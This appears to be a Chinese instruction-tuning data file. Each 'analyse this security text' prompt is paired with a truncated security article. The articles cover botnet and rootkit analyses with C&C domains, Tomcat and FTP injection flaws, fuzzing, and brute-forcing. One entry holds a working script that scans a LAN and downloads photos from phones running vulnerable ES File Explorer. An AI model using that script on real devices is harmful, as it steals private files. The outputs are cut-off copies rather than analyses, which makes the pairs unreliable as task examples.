Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# MsraMiner: 潜伏已久的挖矿僵尸网络
##### 译文声明
本文是翻译文章，文章来源：blog.netlab.360.com
原文地址：<https://blog.netlab.360.com/msraminer-qian-fu-yi-jiu-de-wa-kuang-jiang-shi-wang-luo/>
译文仅供参考，具体内容表达以及含义原文为准。
2017 年 11 月底，我们的 DNSMon 系统监测到几个疑似 DGA 产生的恶意域名活动有异常。经过我们深入分析，确认这背后是一个从 2017 年 5
月份运行至今的大型挖矿僵尸网络（Mining Botnet）。此僵尸网络最新的核心样本压缩包文件名为 MsraReportDataCache32.tlb
，我们将其命名为MsraMiner Botnet。
该僵尸网络的特征包括：
  * 运行时间：2017 年 5 月份运行至今
  * 传播方式：
    * 利用 NSA 武器库来感染，通过 SMB 445 端口传播
    * 蠕虫式传播：样本自带 Web Server提供自身恶意代码下载。样本扩散主要靠失陷主机之间的 Web Server 或 Socket 传输，同时提供了 C&C 端获取样本作为后备机制；
  * 传播范围：感染失陷主机数量保守估计30,000 台
  * 获利手段：主要是挖矿
    * 挖矿进程由 XMRig 编译而来；
    * 矿池：利用自行注册的域名做掩护，CNAME到知名的 xmr.pool.minergate.com
    * 矿池账号：是一批 Protonmail 的邮箱地址，Protonmail 是知名的匿名邮箱供应商
    * 部分样本的挖矿行为，可以根据 C&C 域名的解析结果来控制；
  * 新的逃避检测的手段：
    * C&C 域名形似 DGA 产生，非常随机，其实都硬编码在样本中；
    * 主动抑制：C&C 域名大部分时间会解析到保留地址段，会一定程度上抑制样本的传播和更新，历史上解析过的 C&C IP 相关端口也会封闭，只会在短暂的时间内放开 C&C 的正常服务功能。
## 规模与流行度
根据 DNSMon 统计，MsraMiner 相关 C&C 域名中请求量最高的是 d.drawal.tk ，巅峰时期达到 6.7M/天，直
到现在，每天的请求量还在 2M 上下：
其他 C&C 域名的请求量均低一个数量级，但巅峰时期也能达到 500K+/天，趋势图如下：
在我们 DNSMon 内部的域名流行度排行中， s.darwal.tk 历史最高流行度排名达到 165417
名。作为对比，我们此前发现的百万级僵尸节点的僵尸网络 MyKings 中，历史流行度排名最高的 C&C 域名 up.f4321y.com 排名为 79753
。
## MsraMiner 的版本与迭代
据我们的追溯分析，MsraMiner 共有 2 个大版本，每个大版本中有 1 版明显的更新，我们将其版本命名为
v1.0/v1.1，v2.0/v2.1(当前最新)，各版本发生的期间和对应的C2 如下表所示：
MsraMiner v1.x 组成结构简单，小版本更新主要区别在于 C&C：
  * v1.0 起始于 2017.5 月份，2017.7 月份终止，仅靠一个主 C&C 域名 eea.asf3r23.cf 支撑；
  * v1.1 起始于 2017.7 月份，2017.11 月份开始逐渐消亡，主要靠 3 个 C&C 域名 s.drawal.tk / d.drawal.tk / z.drawal.tk 支撑。
  * v1.0 / v1.1 的更新，通过前面的域名请求趋势图可以清晰地看出来，在 2017.7 月初， eea.asf3r23.cf 的请求量骤降，而 *.darwal.tk 三个域名的请求量骤增。
MsraMiner v2.x 组成相对复杂，小版本更新主要区别在于部分文件名和服务名的变更，以及与 C&C 服务器的交互。细节：
  * v2.0 起始于 2017.11 月份，此时， *.darwal.tk 三个域名的请求量骤降，而 swt.njaavfxcgk3.club / rat.kziu0tpofwf.club 等 C&C 域名的请求量骤增；
  * v2.1 起始于 2017.12 月底，此时 MsraMiner 上线了一批新的 C&C 域名，并对样本做了小幅更新。
MsraMiner 这些版本相关的域名、样本、IP 等 IoC，在背后都有千丝万缕的联系，通过下图可以直观看出来（箭头所指为 IoC 关联的点）：
## 挖矿
第一代 MsraMiner 挖矿行为相对简单，启动参数如下（其他配置则在 iolchxfz3...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

来自i春秋作者：[penguin_wwy](http://bbs.ichunqiu.com/thread-11730-1-1.html?from=paper)
#### 一、理论基础（我们先讲道理）
上回说到我们找到了dex中的加密字符串 提取加密字符串。 观众老爷们问：那么找到这些加密字符串有什么作用呢？该看不懂的还是看不懂啊。。。
那么今天我就来告诉大家，找到的这些加密字符串我们该怎么利用。 首先来观察一下加密字符串出现时的场景，一般情况下是这样
    paramContext.getSharedPreferences(Fegli.a("SjUIVhhB:&Zi2}3mo@i"), 0);
对于动态调用，或者反射等等之类的行为来说，加密的字符串肯定是需要解密之后才能用的。也就是说加密字符串一般会作为解密函数的输入，而解密函数的输出则会成为目标函数如Class.forName之类的函数输入。
看完Java代码我们再来看看smali代码
    [color=#000000]const-string v0, "SjUIVhhB:&Zi2}3mo@i"
    invoke-static {v0}, Lcom/molniya/free/Fegli;->a(Ljava/lang/String;)Ljava/lang/String;
    move-result-object v0
    invoke-virtual {p1, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;[/color]
由于加密字符串是直接写到函数中的，没有用变量保存，所以在smali中必然是const-string指令，之后的下一条指令必然是调用解密函数，也就是说是invoke指令。换句话说，我们找到一条const-string指令，它的值又恰好是加密字符串，并且它的下一条指令是invoke类型的指令，那么调用的这个函数就极大的可能（99.99999999...%）是解密函数了。我们还可以进行函数检查，比如这个函数的输入是不是一个Ljava/lang/String类型，输出是不是Ljava/lang/String类型，如果都是，那我们可以断定，这个就是解密函数（此处应有掌声，啪、啪、啪）。
#### 二、实践过程（弟兄们，抄家伙动手）
下面我们就可以在Androguard的基础上来实现了。
首先，我们先看看Androguard为我们提供了哪些东西。如果大家读过源码的话（没读过也没关系，反正我读过）应该可以发现这样一句
    vmx = analysis.VMAnalysis( vm )
这个vm就是我们之前讲的DalvikVMFormat类，它保存了dex文件的全部结构。这个VMAnalysis，从名字就可以看出来和分析有关。在这个类的初始化当中有这样一段
    for i in self.vm.get_methods():
        x = MethodAnalysis( self.vm, i, self )
        self.methods.append( x )
        self.hmethods[ i ] = x
        self.__nmethods[ i.get_name() ] = x
从vm中获得所有method，然后调用MethodAnalysis进行分析。在MethodAnalysis中我发现了这个
    code = self.method.get_code()
还有这个
    bc = code.get_bc()
以及这个
    instructions = [i for i in bc.get_instructions()]
不知道instructions
是什么意思的童鞋可以查一下英文字典，这个在计算机中表示指令的意思。也就是说这个instructions列表，保存了函数中的所有指令
这里我们需要要简单了解一下Dalvik的指令集，详细内容可以看这里http://www.netmite.com/android/mydroid/dalvik/docs/dalvik-bytecode.html 。
具体的内容很难说清楚（反正我是很难说清楚，掌握的还不透彻），为了不误人子弟，我就简单说说我们用到的内容。正常情况下我们反编译出来的smali代码和指令集的字节码是对应的也就是instructions的每一个元素，代表一行samli代码（不是Java代码）。每一行smali代码由4或者6字节组成，第一个字节表示op值，也就是...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Tomcat CVE-2018-1305 分析
##### 译文声明
本文是翻译文章，文章原作者 n1nty
原文地址：<https://mp.weixin.qq.com/s/PZsOQy2lpR1lHqLWmAXlbg>
译文仅供参考，具体内容表达以及含义原文为准。
近日，Apache Tomcat爆出两个安全绕过漏洞 ，Apache Tomcat
7、8、9多个版本受到影响。攻击者可以利用这个问题，绕过某些安全限制来执行未经授权的操作。本篇文章只对CVE-2018-1305进行简要分析。
## 两个 CVE
  1. CVE-2018-1305
  2. CVE-2018-1304
从造成的影响方面来讲，都是鸡肋。从原理上讲有点像，基本可以认为是同一个。从分析角度来讲，这两个都比较简单。
这里只对 CVE-2018-1305 进行简要分析。
## 背景知识
Java EE 提供了类似 ACL 权限检查的注解，可以直接用于修饰 Java Servlet，用于对 Servlet 进行 ACL 保护。
## 简要分析
现假设有两个 Servlet：
  1. Servlet1，访问路径为 /servlet1/*
  2. Servlet2，访问路径为 /servlet1/servlet2/*
Servlet1 上有如下图的 Security Constraint（简单理解就是 ACL）：
Servlet2 上并没有 ACL。
然而因为 Servlet2 的访问 url 位于 Servlet1 的下一级（/servlet1/servlet2 是 /servlet1/ 的
“子目录”），所以 Tomcat 中正常的代码逻辑应该是，虽然 Servlet2 上面没有 ACL，但是 Servlet2 应该继承 Servlet1 的
ACL。
正常情况应该是：
  1. 先访问 /servlet1，返回 403，因为请求被 ACL 拦截了
  2. 再访问 /servlet1/servlet2，返回 403，因为请求被 ACL 拦截
**那么实际的问题在哪里？**
Tomcat 在接收到 Servlet 访问请求后，在实例化 Servlet 对象之前，会先扫描被访问的 Servlet 上注册的 ACL。如果存在
ACL，则将 ACL 规则添加到一个 Context 唯一的列表中。随后再检查当前访问的 Servlet 是否被 ACL 保护。
ACL 扫描 org.apache.catalina.authenticator.AuthenticatorBase#invoke：
ACL 检查 org.apache.catalina.authenticator.AuthenticatorBase#invoke：
问题出在，如果在 Servlet1 （/servlet1）被访问之前，有人先访问了 Servlet2（/servlet1/servlet2）。流程如下：
  1. Tomcat 接收到 Servlet2 的访问请求
  2. Tomcat 扫描 Servlet2 上注册的 ACL，发现 Servlet2 上没有注册 ACL
  3. Tomcat 检查 Servlet2 是否被 ACL 保护。这一步，因为 Servlet2 在 Servlet1 之前被访问，所以导致 Servlet1 上注册的 ACL 规则还没有被 Tomcat 发现。所以，原本应该被 Servlet1 的 ACL 规则保护的 Servlet2，就处在了未受保护的状态。
## 实例
  1. 访问 http://localhost:8080/CVE-2018-1305/servlet1/servlet2，此时 servlet1 的 ACL 没被 Tomcat 加载，所以访问成功
  2. 访问 http://localhost:8080/CVE-2018-1305/servlet1，被拒绝访问了，此时 Tomcat 加载了 servlet1 的 ACL
  3. 再访问 http://localhost:8080/CVE-2018-1305/servlet1/servlet2，被拒绝访问了，因为 Tomcat 已经加载了 servlet1 的 ACL
## Tomcat 的修复
Tomcat 的修复了 ACL 注册的方式。以前是采用，在 Servlet 真正被访问之前才去注册此 Servlet 上的 ACL。现在改成了，在
Context 启动的时候，就去扫描该 Context下所有的 Servlet 上注册的 ACL，并添加到 acl 列表中。
在任何一个 Context 启动时，Tomcat 都会自动调用：
org.apache.catalina.startup.We...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#### 前言
前一段时间，在针对某个网站进行编写爬虫时，遇到一个问题：当持续多次请求一段时间后，需要输入图片验证码后才能继续访问。本以为是常用的图片验证码，于是查看页面源码，去搜索`<img>`标签，但是在查找一遍之后，并未发现对应的验证码图片，于是审查元素，定位到图片验证码的位置。发现了这样一段代码：
    <svg xmlns="http://www.w3.org/2000/svg" width="150" height="50" viewBox="0,0,150,50"><rect width="100%" height="100%" fill="#fff"></rect><path fill="#dc3bdc" d="M64.98 30.32L64.96 30.30L65.00 30.35Q65.09 29.93 65.05 29.51L65.19 29.66L65.19 29.66Q65.03 29.19 64.72 29.00L64.63 28.90L64.76 29.04Q63.99 28.42 63.12 28.57L63.08 28.54L63.13 28.59Q61.98 28.50 60.34 29.60L60.31 29.57L60.44 29.71Q58.91 30.50 58.91 31.68L59.01 31.78L58.91 31.68Q58.90 32.92 58.90 36.24L58.98 36.31L58.98 36.31Q58.91 38.84 59.07 40.86L59.17 40.96L59.12 40.91Q57.41 40.92 57.41 40.92L57.45 40.95L57.37 40.87Q56.40 40.85 55.68 40.93L55.71 40.97L55.76 41.01Q56.07 38.40 56.15 36.15L56.13 36.13L56.25 36.25Q56.21 31.41 55.56 30.12L55.62 30.18L55.61 30.17Q55.38 29.64 54.81 29.33L54.82 29.34L54.83 29.34Q54.07 28.71 52.51 28.59L52.33 28.41L52.46 28.54Q50.34 28.21 49.81 29.81L49.80 29.80L49.87 29.87Q49.63 30.27 49.74 30.77L49.78 30.80L49.77 30.79Q50.45 33.58 50.11 36.36L50.06 36.30L50.06 36.30Q49.83 39.20 48.42 41.63L48.41 41.62L48.42 41.63Q47.38 41.77 45.28 42.19L45.28 42.18L45.34 42.24Q47.81 38.96 47.81 34.66L47.80 34.65L47.83 34.68Q47.77 28.76 43.73 24.53L43.79 24.59L43.83 24.63Q44.53 24.88 45.48 25.10L45.45 25.07L47.28 25.57L47.29 25.58Q47.63 26.07 48.51 27.74L48.53 27.77L48.65 27.89Q48.75 25.93 51.18 25.89L51.18 25.89L51.17 25.88Q51.37 25.88 52.36 25.96L52.40 26.00L52.26 25.87Q57.28 26.20 58.42 29.02L58.44 29.04L58.54 29.14Q60.16 26.38 65.18 25.84L65.12 25.78L65.16 25.82Q65.96 25.74 66.83 25.86L66.74 25.77L66.88 25.91Q68.97 25.98 68.82 27.54L68.87 27.59L68.80 27.52Q68.88 28.32 68.61 29.08L68.49 28.96L68.59 29.06Q67.13 32.01 67.36 35.55L67.34 35.54L67.28 35.48Q67.51 38.99 69.42 41.80L69.52 41.91L69.53 41.92Q67.72 41.44 65.89 41.21L65.85 41.17L65.89 41.21Q64.63 38.61 64.44 35.83L64.56 35.96L64.48 35.88Q64.37 33.10 65.02 30.36ZM65.79 41.72L65.65 41.58...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 写在前面的话
今天上网的时候看到一个[新闻](https://twitter.com/fs0c131y/status/1085461301588094976),ES文件浏览器存在漏洞，同一个网络下的用户可以直接访问安装了ＥＳ的用户手机上的文件，正好我手机上也安装了es，于是就测试了下。
## 测试
**poc[地址](https://github.com/fs0c131y/ESFileExplorerOpenPortVuln)**下载
**ip** :
开始是192.168.0.100
后来有事去了，再连就是192.168.0.102
**版本号** :4.1.9.4
# 0x00验证漏洞
首先电脑和手机处于同一个网络，再查看我的手机ip,和es的版本
执行命令`python poc.py poc.py --cmd getDeviceInfo --network 192.168.0.`
# 0x01分析原理
看了各位大佬的分析，小白我大概知道了原理，就是向手机发送一个json的数据包,我们使用大佬的[脚本](https://github.com/fs0c131y/ESFileExplorerOpenPortVuln),想手机发送一个数据包，抓包分析一下
确实是发送了一个json的数据包
# 0x02获取受害者手机图片
首先列出受害者手机所有图片
`python poc.py --cmd listPics`
可以看到很多手机图片
# 0x03下载受害者图片
我们随便从刚才获得的列表中挑一张下载试试
`python poc.py -g /storage/emulated/0/DCIM/Camera/IMG_20181218_175120.jpg`
成功将图片下载到本地
# 0x04造个轮子
玩了下大佬的脚本，确实厉害，但是发现一个问题，就是他的脚本会自动扫描局域网所有的ip，这样就会很浪费时间,所以本着练习python编程的想法，自己又造了个轮子
    #coding:utf-8
    from socket import *
    import requests
    import re
    import json
    import sys
    addrs = []
    def poc():
        for ip in range(101, 104):
            addr = "192.168.0."+str(ip)
            s = socket(AF_INET, SOCK_STREAM)
            s.settimeout(1)
            if not s.connect_ex((addr, 59777)):
                s.close()
                print("[+]"+addr+"存在漏洞")
                addrs.append(addr)
            else:
                continue
                s.close()
        print("[+]扫描结束\n[+]执行操作"+sys.argv[1])
    def cmd(cmd):
        poc()
        for addr in addrs:
            headers = {"Content-Type": "application/json"}
            address = 'http://' + addr + ':59777'
            data = '{ "command":' + cmd + ' }'
            r = requests.post(address, headers=headers, data=data)
            if cmd == 'listPics':#下载图片
                image = re.compile(r'/s.*jpg')
                for i in  image.findall(r.text):
                    imageurl =  address  + i
                    filename = i.rsplit('/', 1)[1]
                    r = requests.get(imageurl, headers=headers)
                    p...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本节目录：
[TOC]
# 漏洞评估
确定了最可行的攻击方法之后，您需要考虑如何访问目标。在脆弱性分析过程中，您可以结合前一阶段学到的信息，并用它来了解哪些攻击是可行的。其中，漏洞分析考虑了端口和漏洞扫描，通过抓取banner收集的数据以及收集情报期间收集的信息。
**评估分类** | **书签**
---|---
网络评估 |
Web应用程序评估 |
数据库评估
## 网络评估
### Fuzzers-sulley
代码(fuzz_PCManftpd32.py)
    #coding=utf-8
    # 视频1使用Sulley框架的实现fuzz
    # http://www.dfate.de/public/index.php/post/exploit-development-series-video-1-practical-fuzzing-basics-using-the-sulley-framework
    # https://www.exploit-db.com/exploits/37731/
    # -------------------------------------------------------------------    # Usage:
    # C:\Fuzzing\sulley>python network_monitor.py -d 0 -f "port 21" -P audit
    # C:\Fuzzing\sulley>python process_monitor.py -c audit\pcmanftpd_crashbin -p "PCManFTPD2.exe"
    # -------------------------------------------------------------------    # 分析:
    """
    220 PCMan's FTP Server 2.0 Ready.
    USER anonymous
    331 User name okay, need password.
    PASS password12345
    230 User logged in
    PORT 192,168,1,106,206,27
    200 Command okay.
    STOR demo2.txt
    150 File status okay; Open data connection.
    226 Data Sent okay.
    PORT 192,168,1,106,206,28
    200 Command okay.
    LIST
    150 File status okay; Open data connection.
    226 Data Sent okay.
    PORT 192,168,1,106,206,29
    200 Command okay.
    RETR demo2.txt
    150 File status okay; Open data connection.
    226 Data Sent okay.
    QUIT
    """
    from sulley import *
    # 总体概述
    #1.创建请求（定义模糊语法）
    #2.定义会话
    #3.定义目标
    #4.fuzz！
    # s_initialize - 构建一个新的请求
    # s_static ("USER") - 一个静态（未改变）的字符串，不会被fuzz
    # s_delin(" ") - 可以fuzz的分隔符，将有不同的使用s_string的变动
    # s_string("anonymous") - 一个将被变动的字符串。 包含比s_delim更多的变动
    # -------------------------------------------------------------------    # 语法测试
    s_initialize("user")
    s_static("USER")
    s_delim(" ", fuzzable=False)
    s_string("anonymous")
    s_static("\r\n")
    s_initialize("pass")
    s_static("PASS")
    s_delim(" ", fuzzable=False)
    s_string("pass12345")
 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

文章略长，实战意义有限，慎读。
**0x00 前言**
前两天看了个博客<http://blog.blindspotsecurity.com/，>
故成此文，算是翻译加读后感。英文不算太烂的建议阅读原文。
**0x01 概述**
看了题目，熟悉python的应该会联想到其urllib库的头注入（CVE-2016-5699）。这里是Java在处理FTP流的时候存在类似的注入。利用这个缺陷可以在很多场景实施攻击（具体可以看原文），但是最经典的是欺骗防火墙。
**0x02 基础知识**
要明白这个姿势需要储备一定的ftp知识。ftp比较简单，以下是不负责任的要点概括：
我们知道ftp服务器默认端口是21，其实服务端在这个端口和客户端建立的连接只是用于传输命令，这个连接叫做“control
connection”。而用于传输数据的端口，服务端默认监听在20端口中，这个连接叫做“data connection”。但是需要注意的是，服务端的data
connection端口并不一定是20。这里引出ftp的两种工作模式：主动（active）模式和被动（passive）模式。
在主动模式中:
  * 客户端从任意端口n(n≥1024）与服务端21端口建立“control connection”；
  * 客户端通过端口n发送PORT指令，通知服务端自己监听的“data connection”端口为n+1（默认是n+1但是不总是）；
  * 服务端从20端口与客户端的n+1端口建立“data connection”。
以下是我测试访问ftp://cddis.gsfc.nasa.gov/pub/gps/igsmail/igsmess.6988下载文件的部分报文：
PORT指令格式为：
PORT h1,h2,h3,h4,p1,p2
1）h1-h4对应IP 4个8bit地址，如10,1,2,4表示10.1.2.4；
2）p1,p2对应端口，计算方式：port = p1 _2^8 + p2_ 2^0
在被动模式中:
  * 客户端从任意非特权端口n(n≥1024）与服务端21端口建立“controlconnection”；
  * 客户端通过端口n发送PASV指令，通知服务端采用被动模式建立“data connection”；
  * 服务端从任意非特权端口m (m≥1024）监听“data connection”；
  * 客户端从端口n+1（默认是n+1但是不总是）与服务端m端口建立 “dataconnection”。
**0x03 细节**
本文讨论的场景是主动模式，观察主动模式的图示，会发现客户端会监听一个端口等待服务端回连。假设客户端前面有防火墙不允许入站流量，岂不是无法建立连接？大部分防火墙厂商会考虑这种情况，状态防火墙通过跟踪连接状态，识别出待开放的端口是用于连接ftp连接的，判断正常所需，并为此建立一条NAT规则，允许ftp服务端连接客户端。
上面所述如果清楚了，防火墙欺骗就跃然纸上了。如果攻击者能控制受害客户端主动发送PORT指令，并指定特定端口x，那么防火墙会被欺骗建立NAT规则，进而受害客户端的x端口将会对外开放。如果端口x上跑的是redis、memcached等敏感服务并且没有安全加固，有足够的想象空间……
但是有两个棘手的问题需要解决。
(1) 受害客户端的内网IP地址
我们想控制受害客户端发送PORT命令，必须知道其内网IP（回顾PORT命令），如果IP不正确，防火墙不会设置相应的规则。怎么获取其内网IP呢？我从原文中看不是很透彻。
FTP clients will attempt to initiate a passive session to retrieve the z.txt
file, but if the attacker's FTP server rejects the PASV command, then the
client will fall back to classic mode and send a PORT command. Since the port
used for the control channel is non-standard, it is unlikely that a stateful
firewall at the victim's site will attempt to interpret and translate the PORT
commands on this session. That will cause the internal IP address of the
victim to be leaked t...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## BURPSUIT
目前我们在渗透测试中，经常会用到密码爆破这个功能项，常用的密码爆破的工具之一是BURPSUIT
。遇到中文用户名的时候，很多同学不清楚需要转换字符编码的操作。下面我来演示下中文用户名的密码爆破，先贴2段测试用的代码。
    <!-- login.html -->
    <!DOCTYPE html>
    <html>
        <head>
            <meta charset="utf-8" />
            <title></title>
        </head>
        <body>
            <form action="login.php" method="post">
                账号：<input name="uname"/><br />
                密码：<input name="pwd"/><br />
                <input type="submit"/>
            </form>
        </body>
    </html>
    <!-- login.php -->
    <!DOCTYPE html>
    <html>
        <head>
            <meta charset="utf-8" />
            <title></title>
        </head>
        <body>
    <?php
        /*接收用户输入*/
        $uname = $_POST['uname'];
        $pwd = $_POST['pwd'];
        if($uname == "管理员" && $pwd == "123456"){
            echo '登录成功';
        }
        else{
            echo '账号或密码错误';
        }
    ?>
    </body>
    </html>
## 登录页面
## 抓包并发送到intruder模块
## 选择Pitchfork
## 新建一个html文件
## 用文本编辑器打开，写入”管理员”三个字
## 转换字符
## 转换后的“管理员”字符
## 将转换过的字符复制进列表
## 匹配成功！


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Tornado模板注入漏洞
## 组成结构：
Tornado 大致提供了三种不同的组件：
  * Web 框架
  * HTTP 服务端以及客户端
  * 异步的网络框架，可以用来实现其他网络协议
这里简单介绍一下异步是什么：
  * 说到异步，肯定会联系出来它的孪生兄弟--同步（Synchronous）,"同步模式"就是上一段的模式，后一个任务等待前一个任务结束，然后再执行，程序的执行顺序与任务的排列顺序是一致的、同步的.
  * "异步模式"则完全不同，每一个任务有一个或多个回调函数（callback），前一个任务结束后，不是执行后一个任务，而是执行回调函数，后一个任务则是不等前一个任务结束就执行，所以程序的执行顺序与任务的排列顺序是不一致的、异步的。 "异步模式"非常重要。
异步的用处：
  * 在浏览器端，耗时很长的操作都应该异步执行，避免浏览器失去响应。这样可以大大缩小服务器处理问题的时间。
## 框架使用：
    #!/usr/bin/env python
    # _*_ coding:utf-8 _*_
    __author__ = "charles"
    import tornado.ioloop
    import tornado.web
    class MainHandler(tornado.web.RequestHandler):
        def get(self):
            # self.write("Hello, world")
            self.render("s1.html")
        def post(self, *args, **kwargs):       #表单以post方式提交
            self.write("hello world")
    settings = {
        "template_path":"template",     #模版路径的配置
        "static_path":'static',          #静态文件配置
    }
    #路由映射，路由系统
    application = tornado.web.Application([       #创建对象
        (r"/index", MainHandler),
    ],**settings)                               #将settings注册到路由系统，这样配置才会生效
    if __name__ == "__main__":
        application.listen(8888)                    #创建socket，一直循环
        tornado.ioloop.IOLoop.instance().start()     #使用epoll,io多路复用
### RequestHandler常用方法：
  1. 初始化handler类接收参数的方法initialize：
    def initialize(self, db):
        # 初始化handler类接收参数的过程
        self.db = db
  1. 用于真正调用请求处理之前的初始化方法prepare:
    def prepare(self):
        # 用于真正调用请求处理之前的初始化方法
        # 如：打印日志，打开文件
        pass
  1. 关闭句柄，清理内存on_finish：
    def on_finish(self):
        # 关闭句柄，清理内存
        pass
### http 请求方法：
    def get(self, *args, **kwargs):
        pass
    def post(self, *args, **kwargs):
        pass
    def delete(self, *args, **kwargs):
        pass
    def patch(self, *args, **kwargs):
        pass
### 获取参数输入内容的方法：
    def get(self, *args, **kwargs):
        """
        get_query_argument 和 get_query_arguments 为获取get请求参数的方法
        如果name不存在就会抛出400异常
        :param args:
   ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

作者：[火绒安全实验室](http://bbs.huorong.cn/forum.php?mod=viewthread&tid=23107#lastpost)
#### 一、综述
近日，火绒安全实验室截获到一种内核级后门病毒，并将其命名为 "Pengex" 病毒。经分析，"Pengex"
以劫持用户首页流量牟利为目的，但是不同于其他"流量劫持"类病毒的是，它技术高明、手段凶狠，会主动攻击国内主流的安全软件，使他们失去内核对抗能力，这会让电脑完全失去安全防护。诡异的是，Pengex
唯独不攻击并且刻意"放过"腾讯电脑管家。
"Pengex" 通过盗版系统盘和"注册机"软件进行传播，并在用户电脑中留下后门，日后可随时植入任意病毒，因此威胁隐患极大。"Pengex"
会攻击各种主流的杀毒软件，包括火绒、360、金山等，导致这些软件的驱动无法加载，因此失去在内核层对抗病毒的能力。
但有意思的是，该病毒却唯独刻意放过了腾讯电脑管家，它将腾讯电脑管家加入白名单中，在进行"删除驱动回调"的操作时放过腾讯电脑管家。病毒的这种行为表明，该病毒团伙很可能是腾讯安全管家的系统盘渠道推广服务商，火绒建议"腾讯安全管家"彻查系统盘推广渠道。
"Pengex"
通过修改浏览器配置和进程启动参数两种方式，来劫持首页牟利。在此过程中，病毒会按照制作者的计划，将不同的浏览器指向不同的导航站。该病毒不仅攻击安全软件，还会攻击其他同类病毒，以便独占用户电脑首页资源牟利。据分析，该病毒劫持首页后设置的渠道号是"oemxiazaiba2"（"下载吧"的全拼），请各大导航站关注并查证这个渠道账号。
"火绒安全软件"已经在第一时间更新病毒库，可彻底查杀该病毒。火绒工程师提醒广大用户，如需重装系统，务必通过正规渠道，购买正版系统，目前看来，盗版系统盘已经成为电脑病毒的重要传播渠道。
#### 二、详细分析
该病毒是一个内核级后门病毒，初步怀疑该样本主要通过第三方系统盘方式进行传播。该样本在系统中运行后，会造成国内主流安全软件驱动程序无法正常加载，从而使安全软件失去防御能力。该病毒主要对抗的安全厂商包括：火绒、360、金山等，其恶意代码执行之后，可以执行远端
C&C 服务器存放的任意病毒代码。
该病毒分为两个部分，即病毒加载器和后门病毒，下文中分为两部分进行详细分析。病毒结构如下图所示：
病毒整体结构图
###### 病毒加载器
该部分代码主要用于对抗安全软件查杀和进行内核对抗。加载器功能代码分为两个部分，先会在内存中通过虚拟映射加载一个新的 ntoskrnl
镜像，再通过相同的方式将真正的病毒驱动加载到内存中，并且将导入的 ntoskrnl 中的函数地址指向其虚拟加载的 ntoskrnl
镜像中的函数地址上，通过此方法可以绕过其他驱动在 ntoskrnl 中设置的内核钩子。全局变量 `is_virus_load`
是一个标记，通过传入驱动主函数中的 RegistryPath 参数是否为 NULL 判断是否为病毒通过虚拟映射方式加载。如下图所示：
 加载器驱动主函数代码
**(一) 虚拟加载ntoskrnl**
`load_fake_ntoskrnl_safe` 函数会通过虚拟加载新的 ntoskrnl 镜像，在其执行完虚拟加载逻辑之后，会与当前内存中系统加载的
ntoskrnl 模块前 0x200 个字节数据进行比较，从而判断自己创建的 ntoskrnl 镜像内容是否正常。如下图所示：
 检测虚拟加载是否成功
虚拟加载ntoskrnl
**(二) 虚拟加载后门病毒**
`load_rootkit` 函数会通过与虚拟映射 ntoskrnl 相同的方法加载真正的病毒驱动。病毒驱动的镜像数据是被异或 0xC0
加密过的，该函数首先会将病毒数据进行解密，之后对该驱动进行映射并修复导入表和重定位数据，最后通过调用 `ExQueueWorkItem`
函数执行病毒驱动入口。如下图所示：
 加载病毒驱动
上图所示调用 `ExQueueWorkItem` 函数所传入的 `WORK_QUEUE_ITEM`
结构尾部带有附加数据，在上述调用中，附加数据存放有被加载驱动的入口点地址。如下图所示：
 执行驱动入口
###### 内核级后门
该病毒执行后，会不断地与 C&C 服务器（域名：caoduba.com 或 139.129.234.76，通讯端口：7897）进行通讯。病毒使用的域名和
IP 地址解密代码，如下图所示：
 解密域名和IP地址
**(一) 病毒与C &C服务器通讯**
病毒与C&C服务器的通讯内容分为两大类：
1) 数据请求通知
服务器在获取到病毒请求数据的通知后，可以根据控制码返回被请求的数据。通过网络通讯，病毒可以进行远程驱动模块加载、获取远程动态库注入系统进程、获取配置数据...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 揭开思科ASA防火墙网络军火的面纱（下）Shadow Brokers 泄露后门完整分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **360 MeshFire Team**
****](http://bobao.360.cn/member/contribute?uid=2758821769)
**预估稿费：700RMB（不服你也来投稿啊！）** ****
****投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**** ****
**传送门**
[**揭开思科ASA防火墙网络军火的面纱（上）** ****](http://bobao.360.cn/learning/detail/3053.html)
今年8月Shadow Brokers
曝出的EPICBANANA、JETPLOW、SCREAMPLOW等工具中包含了思科ASA系列防火墙漏洞利用和后门攻击代码，360
MeshFire团队针对ASA设备后门技术原理和植入方法进行了完整分析，并重点对研究了其内存型和持久化型后门，展示了网络基础设施的后门攻击原理与方法。
**0x01 背景**
今年8月， Shadow Brokers组织在其Twitter微博上公开了入侵NSA后获取的大量黑客工具，并将部分放在网上进行拍卖。根据Shadow
Brokers描述，这些工具原属于著名的黑客团队方程式组织（Equation
Group），思科的官方博客也在第一时间对该后门进行了简要分析，以下是思科官方博客给出漏洞和后门模块研究分析，360
MeshFire团队也第一时间对泄漏文件、0DAY漏洞和植入后门进行了深入研究和完整分析。
在该系列上一篇文章中我们主要针对EXTRABACON模块中Cisco
ASA防火墙SNMP远程代码执行的0DAY漏洞（CVE-2016-6366），对产生原因和利用原理进行了详细分析。详见链接：<http://bobao.360.cn/learning/detail/3053.html>
该漏洞实现了思科网络基础设施的破门并获取网络设备管理员权限，如何植入后门并实施更加隐蔽的后门攻击等攻击手段则是在EPICBANANA和JETPLOW的模块中实现，后门模块提供了更加复杂和隐蔽的攻击方法，我们将在该篇文章中详细分析ASA设备的后门原理和植入方法，并对后门连接作简单演示。
**0x02 Cisco ASA后门简介**
泄漏的文件中专门针对于Cisco
